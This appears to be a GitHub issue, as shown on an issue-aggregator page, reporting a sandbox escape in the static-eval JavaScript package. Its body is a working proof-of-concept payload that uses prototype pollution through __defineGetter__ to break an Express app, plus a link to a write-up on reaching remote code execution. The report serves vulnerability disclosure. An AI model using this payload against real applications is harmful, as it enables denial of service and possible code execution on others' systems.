browserify / browserify/static-eval

Sandbox Escape

Open
#32 1 comment 3 reactions 0 assignees View on GitHub
Dominant language
JavaScript
Stars
177
Forks
27
PR merge metrics
No merged PRs in 30d

Description

## poc
```js
// make pollution
const evaluate = require('static-eval');
const parse = require('esprima').parse;

var src = `({})['__proto__']['__defineGetter__']('toString', ({})['constructor'])`
var ast = parse(src).body[0].expression;

evaluate(ast);

// serve webapp
const express = require('express');
const app = express();

app.get('/', (req, res) => {
res.end('working!');
});

app.listen(8080);
```

details in
https://blog.p6.is/bypassing-a-js-sandbox/#Prototype-Pollution-to-Remote-Code-Execution

Contributor guide

No contributing guide indexed for this repository

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.